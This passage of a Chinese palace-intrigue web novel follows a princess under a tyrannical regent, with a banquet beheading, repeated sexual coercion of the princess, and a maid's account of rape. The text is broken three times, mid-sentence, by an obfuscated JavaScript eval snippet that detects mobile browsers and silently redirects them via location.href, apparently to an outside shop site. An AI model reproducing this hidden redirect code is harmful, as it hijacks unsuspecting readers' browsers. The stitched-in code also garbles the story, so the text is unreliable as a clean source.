郭循回答:“自然有,一头虎都能打死,更何况一把弓?” 司妤便明白这弓果真是替吕骞所借,这证明诛杀高盛计划已定。 她忍不住低声问:“舅舅说吕骞生性冲动,诛杀计划他能设计周密么?” 郭循回道:“公主放心,有臣在。恕臣不能尽数告知,其中细节,公主知道也无益。” 司妤知道自己不会武功,也并不曾领兵作战,一介弱流女子,这种事自然帮不上忙,知道这事的人越多,消息就越容易走漏,她便不再过问。 到了傍晚,自己亲自拿了令牌去库房,取了逐日弓,夹在一座屏风中,小心翼翼送去了郭家。 因为这桩事,她决定接受高盛的宴请。 她去了,便代表皇室对高盛的倚重,群臣也不敢不去,如此一来,高盛越发威慑京师。 这是她所不愿看到的,但没关系,既然吕骞马上要动手,她愿意让他再高兴一会儿,如此他便会得意,得意往往伴随着大意,也许吕骞的计划就更多一分胜算。 到那日,司妤随意梳妆,着常服便乘车出宫了,到了高府。 她是公主,不用到得太早,所以待她到时,一般都是该来的人都来了。 她坐在上首,放眼放去,京中朝臣并未全到,高盛跋扈,但总有硬骨头的臣子,敢不来他的宴会。 高盛就坐在她右侧方,但她没怎么看他,也刻意没去看舅舅郭循,倒是忍不住用余光扫向宴厅,看到了武将吕骞。 此人果然身形异常高大,几乎有八尺,全不输那几个西凉大将,一对浓眉之下,双眼能见锋芒,一眼便知身手不凡,司妤已然在心中将他想成大兴的忠臣,盼望他能顺利除掉高盛。 宴会开始,司妤并没有说多的话,只与众臣同饮了几杯酒,到宴会中途,觉得自己大约是可以离开了。 谁知她放了酒杯,正要说走,却有人到她身侧替她上酒,低声道:“公主,太尉请公主留步。” 司妤听出了这人的声音,正是那日去宫中请她的朱勇。 是她厌恶的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730688|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她没理,朱勇又道:“太尉明日将与人外出狩猎,稍候请公主留下,太尉想问公主要什么野味,太尉将亲自替公主猎下。” 什么野味,她很清楚,他是无趣了,要找她消遣。 只是她的注意力更多在“他明日要与人外出狩猎”这件事上,吕骞拿了弓,显然是准备射死高盛,所以起事之日就是明日? 司妤没由来紧张起来,所以她越发决定马上回宫。 一来她当然不想陪高盛,二来她知道了计划,怕自己太过紧张,露出可疑之处。 她转头看向高盛,才要开口,却见上一曲毕,上来几名乐人,竟身穿白衣,开始奏起哀乐。 她怪异地看向高盛,其他人也都露出不解神色。 司妤问:“太尉这是何意?” 其他大臣也问:“是啊,为何奏起哀乐?” 高盛开口道:“诸位,此乐为此番歧州平叛,死去的将士而奏。昔日出征时,我曾和他们说,他日得胜还朝,必然论功行赏,今日却只有我在,他们已埋骨异乡,我想以此酒,敬死去的将士忠魂。” 说完起身,将杯中酒缓缓倒于地上。 随即马上起身的是卢慈等高盛亲信,随后是严淮这样明确归附高盛的人,再之后便是其他一些大臣,犹豫间举杯站了起来。 司妤自然不必站,但她也还没举杯。 郭循以及其他许多士族大臣,也没起身。 高盛看着众人,脸上带着肃色,眼中露出几许凶光。 司妤有些犹豫,不知是不是要依他所言。她自然感激那些争战沙场的兵士,但不愿就此被高盛逼迫,如果她都唯高盛马首是瞻,那其他臣子又将如何? 此时有司姓宗亲道:“兵士食君禄,忠君事,平叛定天下乃是为人臣子本分,马革裹尸是职责所在,在座可都是公卿大夫,为何要向低等武人敬酒?” 卢慈将酒杯重重一放,大喝道:“什么叫低等武人?你再说一遍!” 那宗亲有些胆怯,指着卢慈不说话,有人开始打圆场,劝解道:“虽说兵士保家卫国是职责所在,然而,有他们舍身取义,方有我等在此宴饮,为他们敬一杯酒,也是应当。”说着站了起来。 司妤有些意外,因为此人是经学大家,马怀仁。 放眼京中,最不满高盛的便是读书人,而这马怀仁人是读书人之首,没想到他竟会在这种时候如此替高盛说话。 他这样一说,有人意外,有人不解,还有人面露不屑。 吕骞于此时哂笑一声,说道:“诸位还不知道吧,这马怀仁正与高盛说亲呢,堂堂经学大家,名门之后,却要与凉州蛮子联姻,我看你马家的脸面都被你丢尽了!” 司妤此时光明正大看向吕骞,心里替他紧张起来。 他不是明日就要杀高盛吗,她以为这种时候,不该引起他的注意才是,还是说挑衅高盛,也是吕骞计划中的一环? 高盛身边亲信皆是怒目圆瞪看向吕骞,而马怀仁则被说得面红耳赤,连说话都结巴起来,指着吕骞道:“你……你信口开河……胡说八道……” 司妤这才意识到,刚才吕骞说高盛要与马家结亲。 看这样子,马怀仁是真有此意,要不然他不会心虚成这样。这高盛,谁给他出的这主意,若真与马家联姻,不是又要拉拢一大批士族? 5. 第 5 章 高盛看向吕骞,缓声道:“左中郎将,似乎对高某十分看不上?” 吕骞没说话,只是不屑地哼了一声,扭开头去。 随后起身欲走。 高盛仍然盯着他:“左中郎将,你还没回复高某的话。” 吕骞可不是善于忍耐的人,被逼到此处,绝不能示弱,便回道:“我自然没有看不上太尉的意思,我只是看不上那些杀朝臣,杀贵妃,秽乱后宫,祸乱朝纲的人。” 说完,蔑视地一笑,提了刀便转身往后。 说时迟那时快,转瞬之间,一人自座间跃起,掠自吕骞身后,一刀朝他颈间削去,吕骞听见动静正欲回头,目光还看向后边,带着惊骇,那头就被削了下来,滚落在地,而他的身躯,甚至还往前走了半步才倒下。 场上几乎呆住,司妤也呆住,好半晌她才意识到,高盛竟当着她的面,当着这文武百官的面,杀了个四品的左中郎将。 杀人的是卢慈,但显然,是高盛授意。 高盛此时起身,朝司妤道:“禀公主,此人诬陷微臣,中伤后宫,是以臣命人杀之。” 惊魂未定间,司妤看向他。 她知道,他可从来不在乎别人说他秽乱后宫,甚至他以此为荣,而此时,他却以此为由,杀了吕骞。 他只是要杀吕骞,抓了这条理由而已。 “高盛你……”司妤不准备将此事盖过,她不容许当着自己的面发生这样的事,可就在她要开口时,舅舅郭循起身道:“公主是否受惊了?” 司妤抬眼看他,见他朝自己轻轻摇头,示意自己不要说话。 她不解,这种时候她不说话,那岂不是表示她默认了,默认了吕骞该杀?高盛杀得好? 但她明明是不同意的,不管吕骞是否出言中伤,杀朝臣的事何时轮到高盛作主了? 高盛此时道:“臣有罪,让公主受惊,还请公主至客房休息。”说着示意朱勇,朱勇便低声令婢女扶司妤离席。 司妤不想走,她想要高盛给个说法,也想知道群臣的态度,甚至,她想给那些心中反对高盛的臣子一些底气,但她虽是公主,却只是个十多岁的弱女子,她不知自己做的对不对,又会带来怎样的后果,所以她又望向了舅舅郭循。 郭循接到了她的目光,朝她点头,示意她离去。 群臣一时间噤若寒蝉,高府的婢女又将她扶了起来,司妤一时茫然,依了舅舅的意思,随婢女离开了。 宴厅内鸦雀无声,高盛看向众人道:“今日宴请,却惊扰各位,高某实在抱歉,但似吕骞这等忤逆之徒,不得不严惩。” “吕骞忤逆,高太尉却也太跋扈了些。”一道声音起,有人站起身来,却是当今太傅徐晦。 他身旁有人悄悄拉他,他却也巍然不动。 此人学富五车,任三朝太傅,先祖为开国功臣之首,世袭成侯,徐家做官至今,可谓门生故吏遍天下,严淮为其学生,受高盛之托才说服其过来,被列为上宾,今日却起身反对高盛。 高盛上前一步,盯着他道,“朝廷羸弱,四境生乱,我乃草莽出身,一心只知替圣上平天下,至于是不是太过跋扈,就顾不得这许多了。” 徐晦冷哼一声:“不是屠狗之辈,也做不出这样张狂的事。” 高盛身旁卢慈厉声道:“徐晦,你再说一遍!” 严淮是徐晦学生,眼看双方剑拔弩张,此时连忙打圆场:“徐公大概多喝了几杯酒,若是不胜酒力,学生便扶徐公回去休息。”说完就去扶徐晦。 徐晦还瞪着高盛,屹立不动,严淮与他身边人用力才让他挪动步子,李风华也从旁冒出来,拦住卢慈,怕他冲动。 徐晦被严淮拉走了,随后陆陆续续更多人告辞,郭循也在此时离开,最后宴厅上的人所剩无几,而吕骞的尸首还在地上。 高盛怒声道:“将此地收拾了,吕骞的人头用盐腌了,去挂在菜市场!”说完,转身离去。 这场宴会这么不了了之,宴饮群臣也是李风华建议的,此时闹成这样,高盛发怒了,李风华不敢去触霉头,赶紧走了。 …… 司妤进了客房休息,但她根本无心休息,关注着宴厅的一点点动静,只是没一会儿那边就没了动静,倒是高盛过来了。 她看向他,见他面色阴沉,目露寒光,进门来,将门“砰”地一声重重关上,让司妤吓了一跳。 他盯向她,往她这边走来,司妤深吸口气,觉得他再怎么样也不会杀了自己,便只是站在原处,一动不动看着他。 高盛走过来,伸出手,抚向她头上的珠钗,轻声道:“让公主吓到了吧,没事,见多了也就好了。” 司妤这才开口问:“厅上,怎么样了?” 他一笑:“没什么,那姓徐的老头,自诩世家大族、公卿出身,骂我屠狗之辈。” 他说完,笑容却突然散了,盯着司妤的脸道:“公主的脸可真好看,你可知在凉州,我从未见过似公主生得这样白,这样嫩的女人,说公主是这世上最尊贵的女人,也不为过。” 司妤不知他为什么说这些,但还未及她思考,他便手上施力,扶着她肩,将往下按去,随后他朝她腿弯处一撞,她便跌坐在了地上。 他抬起她下巴,一边解下衣带。 “你大胆!”司妤怒斥一声,声音却显得娇嫩,丝毫没有震慑力,他越发用力,捏住她下颚,迫使她张嘴。 她被捏得生疼,仍挣扎,他居高临下,冷声道:“我大胆也不是这一日两日的事,公主不是早就该知道了吗?” 司妤恨恨看着他,却根本站不起身来。 …… 这晚,她入夜才回宫,仍吩咐如缨去端避子汤药,待药端过来,药味入鼻,她却只觉胃中翻涌,跑到净房想吐,干呕了半天,却什么也没吐出来。 如缨虽在房外,却也知道里面发生了什么,特别是最后公主发髻凌乱,衣衫不整,身上许多青紫,连小衣都是破的,自然是受了极大的委屈。 司妤吐到最后,跌坐在净房内,不由就呜咽着哭了起来。 原本对吕骞寄予厚望,谁知他竟死了,如此容易就死了,死得毫无价值…… 为何他要强冒头,为何不再等一日,若是她,死也要死在杀高盛的行动中。 舅舅呢,他会怎么样,他有亲自参与诛杀计划吗?如果有,他是否能带人完成明天的行动? 司妤在净房内坐了半天,然后擦干泪水喝下汤药后去沐浴。这一晚她没怎么睡着,好不容易在半夜睡了一会儿,却梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730689|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见舅舅亲自杀高盛,刺杀失败,也被削去了头颅,将她从梦中吓醒。 醒来时是四更天,她不睡了,决定点燃蜡烛等待天明,今日高盛会去狩猎,不知是谁约的,但一定不是吕骞,她要看看会不会有高盛在林子里被杀的消息。 等到中午,没有传来高盛遇刺的消息,却从长乐宫传来另一个消息:舅舅郭循辞官了。 得到这消息,司妤大为吃惊,连忙去找母后确认,最后得知舅舅真的辞官了,留下了奏书和官印,竟连夜收拾家当回了家乡宣州。再过半个时辰,她也收到了舅舅遣人送进宫的一封信,信上说高盛势强,待他回宣州召集其他族人与同盟,再从长计议。 司妤将那信看了好久,突然意识到一件事:舅舅是怕了。 他亲眼见到吕骞的死,从而害怕吕骞的谋划已经暴露,也害怕高盛查出自己,所以连夜跑了。 但高盛其实并没有查知吕骞要设计杀他,他其实是准备去狩猎的。 司妤突然觉得怅然,觉得可悲,自己之前竟然将一切希望都放在舅舅身上。 而舅舅如此突然走了,他手上的兵权呢?那一万禁卫军又由何人统领? 想到此,司妤连忙想与母后商议,朝中是否还有信得过的人,她们二人是否能将兵权争取过来,但高盛的动作比她快,等到晚上,便得知高盛任命了卢慈为新的郎中令,统领宫中禁军。 舅舅此去,竟将宫中禁军白白送给了高盛!从此高盛在京中,不是越发横行无阻? 她几乎要急病,绝望得待在寝宫内好几日没说话。 等到三日后,高盛却突然求见。 她说了不见,但没一会儿,宫人来报,说高盛已经往漪兰殿这边来了。 她气恨不已,从榻上起身,径直去梳妆台旁拿了把剪刀,一会儿试图藏在身上,又一会儿放入枕头底下,不知放哪里才好。 最后当她看见高盛进她宫门,看着他山一般的壮硕身形,突然就泄气了,卢慈杀吕骞,只在眨眼之间,高盛武艺更强,她拿把剪刀就去刺他,只是笑话。 她茫然而又无力地坐在床边,不知是要奋起一搏,拿自己的血挽回皇室最后一丝体面,还是就此认命,等待某一日奇迹出现。 高盛走过来,到她面前,倒是恭敬地向她请安,她没理睬,也没看他。 高盛便自己起身,走到她身旁去,并命身边宫人退下。 宫人看向司妤,司妤无反应,她们犹豫片刻,终究是退下了。 高盛坐到她身旁,却是温声道:“公主是在生我的气?” 一边说着,一边伸手去牵她的手,被她用力挥开。 他道:“之前打突厥,得了个珠子,放眼天下,无人配得此珠,唯有公主,所以我让人做了只簪子,赠与公主。”说着,拿出一只缀着红宝石的发簪来,寝宫门关着,卧室内并不亮,这簪子上缀的那只绯红宝石,竟隐隐绽放出红色的光芒。 可想而知,若是将帘子拉子,或是等到完全的黑夜,这只发簪的光芒该有多璀璨夺目。哪怕司妤长在宫禁,也没见过这么大、色泽绯红的夜光石。 她静静看着那发簪,心中却觉得可笑:他把她当什么,忤逆犯上,就拿个首饰来哄她,所以在他眼里,她是他某个爱妾? 6. 第 6 章 她气恨,看着那簪子锐利的尖头,恨不能拿过簪子刺入他喉咙,但理智告诉她要冷静,她杀不了他的,反会被他制住,也许会当场捏死她,然后对外称她暴毙。 母后懦弱,弟弟年幼,完全不是他对手,舅舅走了,她死了,那他们怎么办呢? 她不怕死,却怕死得毫无价值。 就在她不言不语时,高盛以为她是仍然赌气,便又好声劝慰道:“是我错了,那日我被徐晦那老匹夫嘲笑,心情不好,偏偏他那人后面跟着一群读书人,我还杀不了他。” 一边说着,他一边搂住她,在她耳边道:“其实我觉得我没怎么用力,哪里知道你身上那么嫩,我以后保证待公主温柔。” 司妤不想和他讨论这些,却又决定先不露声色,便扭过头去开始抹眼泪。 她貌美,身形窈窕,如此梨花带雨,实在让人心怜,高盛越发抱紧她,又安慰:“好了好了,别哭了,我以后真不会了,大不了我也伺候你……” 说着便去亲她,她要推他又推不开,最后无奈放弃、听之任之,这在他眼里便是欲拒还迎,搂着她亲了一会儿,见她似乎软下来了,便松开她,将那簪子插在了她头上,满意道:“好看,果真就公主配得上。” 说完,见她仍垂泪,又说:“我在城南新买了个园子,专为公主准备的,不然,现在带公主去看看,散散心?” 他生在凉州,一朝得势,倒是享受起来了,一座宅子不够还要一座,司妤心中冷笑,嘴上回道:“我生在宫里,要宅子做什么?” “你不是不想去我府上,怕被人看见?以后就不去了,去那宅子里,没人知道那儿是我买了,这不好么?”他道。 司妤这才知道,他原来是要金屋藏娇,她是他养着的外室。 她不说话,泪水也停了,他便觉得她是不气了,于是扶她起身,拉着她出门去。 司妤不言不语,还是随他出宫了。她不知道以后该怎么办,只能先忍住。 高盛让她与他同乘一辆马车,透过车帘缝,她看向外面,见街市比她小时候出来萧条了许多,远不如当时热闹繁华。 这些年,年年灾荒,又四处战乱,京中虽算得上太平,但也明显受了影响。 不得不承认,这是父皇的错,若他专心朝政,若他不纵容吴弼弄权…… 弟弟仁厚,将来一定比父皇好吧。 她在心中这样想着,一抬眼,见不远处一棵大树下挂着个什么,像是个笼子,随风轻轻晃动,再定睛一看,才发现是颗人头。 惊得她神色一变,往回缩了缩,高盛看见了,笑道:“吕骞的人头,腌了一坛子盐,很能管一段时间,不过天热了,大概会生虫。” 司妤捂了胸口,又想干呕。 高盛抚着她脸笑:“吓到公主了,下次不走这条路。” 这一段路,走了有半个时辰,算得上远,最后马车停在了个幽静的地方,四周皆是荒林,路边一道小门,通过那小门,拾阶而上,穿过长长的竹林小道,才到园子,里面雕梁画栋,碧瓦红墙,堪称富丽堂皇。 行过小池与花道,然后是个花厅,兼有凉亭长廊,从凉亭绕过去,又是一个小园子,高盛开口,让随行护卫留在了外面,自己带着司妤往里面小园子里走。 司妤看着旁边竹林,又看着这空无一人的园子,突然觉得,若有高手,这似乎是个杀高盛好地方。 旁边的竹林可以埋伏兵士或刺客,高盛进来这小园子,护卫都在外面,刺杀的人完全可以从园外登梯而上,进来将其直接杀死。 可惜,舅舅走了,她联系不到宫外的大臣,也没有调动禁卫军的权力,手上无人可用。 在她想着这些时,高盛带她到了个亭子旁,那亭子挂着纱帘,旁边垂着紫藤萝,倒是好看,但里面没有桌凳,却是一张美人榻。 高盛问:“这儿,喜欢么?” 大概是为了掩饰心中所想,司妤终于说话:“为什么里面是榻?” 高盛笑得意味深长:“公主不觉得,此处甚好么?” 司妤不说话了,她终于意识到他弄这园子的目的,难怪这小园子里没什么人,这是他为自己安排的猎奇寻欢之所。 就在她意识到这点,紧咬嘴唇时,他突然一把将她抱起,前行几步,将她放在了前边一座假山上,那假山石头光滑,她被放的正好是个形似椅子的平台,背后靠着山石,她悬空坐在那里,正好与他相对。 她慌了,看看四周,朗朗白日,问他:“你做什么?” “亭中也好,但我想先试试这儿。”他说完他便去撩她衣衫。 “你……” “公主肌肤如玉,我早就想寻个亮处,好好观赏。” 司妤知道自己无力拒绝,却仍是挣扎道:“你说了是带我来散心的。” 他看着她笑:“没办法,我见到公主,便想将公主正法,公主生得这副模样,又如此水灵,大概天生就是让男人快活的吧。” 她颓然地靠在了石头上,闭上眼,不愿面对头顶的日光。 她一定要做点什么,他的确只当她是个发泄的工具,但换言之,谁会防备一个工具呢?所以若她做什么,也许比吕骞、比舅舅有更大的成算。 日薄西山时他才放了她,两人又一起乘车回去。 她蔫蔫坐在马车内,一句话也不说,高盛也餍足地靠坐在她身旁,一会儿揉一揉她耳垂,一会儿抚一抚她大腿,随手把玩。 马车果然绕了路,没再经过菜市场,行至高府附近,高盛同她道:“我去外面骑马回家,公主乘车回宫去,改日再见。”说完将她头上簪子正了正,转身跳下了马车。 才乘上马,两人要分离,正好前面一行人过来,司妤在车中听见一阵声音道:“太尉,我至府上拜见却未见人,没想到在此遇到,倒算我今日有几分运气。” 这声音清朗动人,又十分熟悉,一听便是司妤认识的那个人,但此人对高盛如此亲昵,她又觉得不可能,于是撩开车帘往外看了一眼。 他正从马背上下来,朝高盛拱手,着一身白色深衣,仪表堂堂,眉眼如画,竟真是那人。 宋之洵,名臣之后,文武双全,曾经被誉为京中名公子,也是父皇当年给她物色的驸马。 父皇虽不太理朝政,但对她一直上心,在他眼里,自己这个女儿天下无双,为当之无愧的掌上明珠,世间男人能相配者少之又少,也就宋之洵还勉强配得上,所以他看中了。 司妤身上有两样世间之最,一是身份,二是相貌,平常人有其一便不得了,而她两者在一身。所以能给她当驸马,那自然是全族的荣光,宋家也十分高兴。 当时宋之洵要做驸马一事几乎要定下,结果任建州刺史的宋之洵父亲宋迈与吴弼交恶,吴弼痛恨宋家,便向父皇进谗言,正好建州境内出现民变,被抓到把柄,父皇便将宋迈贬了官,驸马之事也再没提了。 虽然婚事不了了之,但在司妤心里一直觉得宋之洵是个很好的男子,没想到如今他竟与高盛如此热络,言语中的亲昵,又何尝不是谄媚? 似乎觉察到车内的目光,宋之洵抬起头来,透过司妤撩起的车帘间隙,看到了里面的人。 宋之洵曾见过司妤,那样的容貌,见一次能铭记终身,此时突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730690|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然见到,顿时一愣,待要行礼,便见车帘已经放下了。 他这才意识到,公主此番,是和高盛在一起。 他的确听到些传言,说高盛染指长公主,甚至常出入宫廷。 如今看来,此话不假。 高盛此时也朝身后望了眼,马车帘自然早已放下,他回道:“景平若有空,不如随我至府?” 宋之洵意识到自己失态,连忙收回目光朝高盛道:“如此正好。” 于是宋之洵便转头与高盛一道走了,司妤自己乘车回宫。 心底的绝望又多了一分,她之前确实没想过,连宋之洵都成了高盛一党。 才回宫,却得长乐宫宫人传召,说太后有请。 司妤不知母后为何事,照了照镜子,见自己脸上并无异样,便匆匆过去。 至长乐宫,却见司婵也在。 司婵为司妤的妹妹,比她小三岁,封号昌乐,两人的感情说不上好,也说不上不好,司妤从小喜静,司婵却更闹一些,又小,两人玩不到一起去。 司妤给太后请过安,太后便道:“唤你过来,是想问你一件事。” 司妤道:“母后问。” 太后看一眼司婵,司婵此时低下头去,司妤猜测事情和司婵有关。 太后道:“若替婵儿招宋之洵为驸马,你觉得如何?” 司妤吃了一惊,愕然抬首,随后又看向司婵,司婵知道她这时看向她,并没有抬头,反而稍稍偏开头去。 司婵不敢看她。 当然,因为宋之洵是之前父皇替她定的驸马。 现在呢?现在婚事无人说起了,加上……她委身于高盛,婚姻一事,不好谈及,所以司婵觉得自己可以嫁宋之洵。 司妤问:“妹妹愿意吗?” 司婵不说话,太后道:“她是愿意的。只是……” 太后为难道:“你父皇毕竟是想你嫁他的,我想问问,现如今你是什么想法?” 司妤回答:“若是母后问我对宋之洵的想法,我没什么想法,但对于这婚事,我觉得妹妹嫁其他士族公卿之家的子弟更合适,譬如徐太傅的孙子,似乎也年龄合适。” 司婵立刻道:“但我不喜欢他,他那么矮!” 司妤看向妹妹,耐心道:“宋之洵如今与高盛交好,与他结亲并不合适,像徐家这样的却不错,若你嫁入他家,他势必会死忠皇家。” “我管他忠于谁家,我就要嫁宋之洵!”司婵叫道。 司妤再次解释:“若是父皇在时还好,还能尽力替你找相貌俊伟的如意郎君,但如今父皇不在了,皇弟还年幼,天下又大乱,婚姻之事便不能任性。徐家长孙只是个子矮了一些,但才识过人,品性高洁,最重要他是徐家人,你嫁他更为合适。” 司婵不满地嘟唇,“把他说这么好,你怎么不嫁?我看你就是舍不得!” 司妤看着她,久久不言。 听她的意思,竟好像是自己不愿作出的牺牲,要她去牺牲。 可她又岂能想象,自己向高盛献出贞操时,也只比她大一岁。 婚姻?驸马?这些对她来说,已经是十分遥远的事。 司婵说完话,才想起来自己如今的安稳,是因姐姐去说服了高盛反管洪,要不然如今坐上皇位就是三皇子,她、母后、弟弟,还不知是什么场景。 她低下头去,有些愧疚地小声嘀咕:“不管怎么样,我就想嫁宋之洵,他也是想娶我的。” 司妤这才知道她已经在私下与宋之洵往来过。 就在她日日被高盛招之则来挥之则去时,妹妹正在与宋之洵谈情说爱。 7.第 7 章 其实她不怎么在意,大兴江山风雨飘摇,他们几人的性命都有可能不保,她没功夫想这些,随便妹妹找的是宋之洵或是李之洵,她没心思顾及了,但既然宋之洵已加入高盛麾下,她就不赞同这婚事,明明有这么好的拉拢其他士族的机会,那才是属于他们的力量。 她看向太后,恳切道:“母后,如今宫中禁卫交到了卢慈手上,也就是说现在京城、歧州、通州、还有禁中,都到了高盛手中,无论什么时候,他可以杀进宫内,将我们随意处置,母后不担心么?” 太后脸上也露出担忧,随即道:“你舅舅留过信,说他会去宣州召兵买马,再连同其他有志之士,一同反高盛。” “怕就怕,等舅舅准备好,高盛羽翼已丰,我们再无力同他对抗了。他如今已在和马怀仁结亲,而我们……还想嫁宋之洵。” 司妤说的便是司婵,司婵哭道:“舅舅手握一万禁军,都可以走,凭什么我不能嫁?怎么那么多朝臣,那么多宗亲,却偏偏要拿我去牺牲?” 司婵一边说着,一边跪到太后身旁,拉着她道:“母后,我嫁了宋之洵,劝他忠心皇上不就行了吗?他那时是驸马,如果高盛有什么反心,他怎么会帮高盛?” 太后想了想,朝司妤道:“婵儿说的,似乎也有几分道理。” 司妤却问:“那如果他仍然归附高盛呢?你那时已是宋夫人,会不会帮他们一起夺得司家的天下?” 司婵看向她:“你是长公主,你出身时红霞满天,你貌若天仙,你从小就被夸,说是大兴的一颗明珠,而我什么也没有,我不如你高贵,不如你貌美,迷惑不了高盛,我只是个相貌普通的公主,才能也很平庸,我就这么平庸地过了十多年,现在也只想平庸地嫁人,为什么就不行呢?” 她说着,垂泪看向太后,泣声道:“母后,我从前和你说过我喜欢宋之洵,可你说,宋之洵是姐姐的,让我别肖想,再不许提,我就再也没提,我从小就知道,什么好东西都是姐姐的,我比不上她,但现在……为什么到了现在,我还是不能肖想?” 她这一哭,将太后哭得心肝发疼,也跟着哭起来,一边怜爱地抚着她头,一边看向司妤。 司妤懂了母后的意思,母后是想她同意。 司妤无法再说什么,因为自己毕竟不是母后亲生的,妹妹才是。 她母后为端仁皇后,在她两岁时就因病去世,母后是端仁皇后同父同母的亲妹妹,进宫后,视她为己出,甚至在她小时候都不知道这是自己的小姨,而不是亲生母亲。 哪怕司婵出生,也没改变母后对她的好,父皇偏爱她,母后也没替妹妹争取过什么,换言之,她从小就得到了作为长公主最优厚的待遇,待到要有人牺牲时,自然应该是她,至于司婵,她没这个责任。 司妤无力道:“好,那你嫁他吧,我不干涉。只是你日后与宋之洵一起,不要将我们今天的话说出去,若让高盛知道我们防着他,也许我们的死期也就到了。”说完,她起身离去。 回到漪兰殿,她只觉身心俱疲,除了眼看着祖先的基业被蚕食、甘心做高盛的玩物到年老色衰的那一天,似乎别无他法。 她就那么躺到榻上睡了一会儿,醒来时房中燃着一盏微光,似乎正是夜半,卧室的珠帘外传来低低的哭声和说话声,她往外看了看,似乎是如缨在哭,如绵在一旁劝慰。 今日听到了太多哭声,她有些心烦意乱,带着不悦问:“在哭什么?” 外面两人惊了一下,立刻进帘来,如缨胡乱擦着泪水,回道:“奴婢求……”,说了一半,却又停下,改道:“奴婢知错,惊扰公主休息,求公主恕罪。” 如绵没说话,司妤看看两人,问:“我问你在哭什么。” 如缨犹豫着是不是要说,如绵开口道:“回公主,如缨同乡的姐妹被新来的禁卫污辱了,赵公公去寻到中郎将面前求公道,反被打了一顿,说宫中人诬陷禁卫。” “什么?竟有此事?”司妤问如缨:“你那姐妹呢?” 如缨哭着回答:“在尚衣局,她要寻死,被拦下了,其他姐妹在照顾她。” 司妤默然,她的确为司婵的事无奈又伤心,但这件事也绝不能放过。 宫女为皇帝所有,若有人敢染指,哪怕是王公贵卿也是死罪,如今这禁卫竟如此大的胆子,若此次放过,那今后宫中女子还有什么安稳可言? 她道:“去将你那姐妹,还有那禁卫带来,我亲自审问。” 如缨立刻道“是”,连忙就往漪兰殿外去了。 没等一会儿,如缨带着一名宫女进来,和她道:“没找到那禁卫的人,奴婢托赵公公去办了,求他务必找到那人。” 她带来那名宫女跪下道:“奴婢小柔,拜见公主。” “起来吧。”司妤说着,看向她,小柔似乎是清秀的长相,但如今脸上满是伤痕,额头缠着纱布,双眼亦是红肿。 司妤问:“你脸上的伤也是那人弄的?” 小柔点头。 如缨替她答道:“他将小柔打晕了,小柔身上也是伤。” 司妤问:“具体是怎样的?” 小柔要开口,却哽咽得说不出话,如绵急道:“你快说呀,除了公主,还有谁能替你讨回公道?” 经她提醒,小柔擦了擦眼泪,说道:“今日傍晚,天已见黑,奴婢自尚衣局回掖庭……途经荒废的沁芳宫附近,就被人抓住了,将我往沁芳宫内拖……奴婢挣扎着要呼救,便被他扇了两耳光……后来奴婢被拖到沁芳宫内,趁他解裤子,奴婢要跑,就被抓着头发往地上撞,奴婢一下就失了神智,再也动不了……” 后面的,小柔便说不下去了,泪流满面。 如缨接着道:“等她清醒,已遭污辱,身上全是伤,那人已经不见了。” 司妤深深吸气,自大兴开国以来,宫中只怕还没出过这样恶劣的事。 她问:“你们知道那人的名字职位吗?” 如缨回道:“不知道,小柔只认出来是生面孔,不是以前见过的禁卫。” 这就代表是高盛的人。 自舅舅辞官,高盛任命卢慈管理宫中禁军,为了迅速接管,卢慈便调了许多自己人编进禁军中,既然是生面孔,那就是新调来的,高盛带入京那一群西凉军。 司妤问:“那人还没带来么?若找不到,便让卢慈过来!” “奴婢再去找赵公公。”如绵说着下去了,又过好一会儿,倒是卢慈亲自过来了。 司妤让小柔退下,待卢慈行礼,朝卢慈道:“卢慈,你手下禁军强|暴宫女之事,你如何处置?” 卢慈回答:“禀公主,此等小事,还劳公主亲自过问,是臣之罪,臣听说此事后已让人去查了,待有结果,便立刻回禀公主。” “你错了,这不是小事,染指后宫女子,无论宫女还是后妃,都是杀头夷族的大罪。”司妤定定看着他。 卢慈道:“是,臣定命下面人尽快查知真相。” “真相?”司妤怒道:“什么真相?苦主在此,证据确凿,你把当夜在沁芳宫附近值勤的禁卫叫出来,本宫便让受害宫女去指认,这有何难?” 卢慈停了半天才道:“万一是宫女诬告呢?” “你……”司妤被气得不轻,待稍平复,才道:“宫中有嬷嬷,太医局有太医,京兆府也有仵作,不如叫他们来查验,宫女是否遭人玷污,一查便知,若为实情,则即刻将犯案者斩首!” 卢慈这才道:“现在么?天色已晚,不如明天再令人详查?” “现在。”司妤肯定 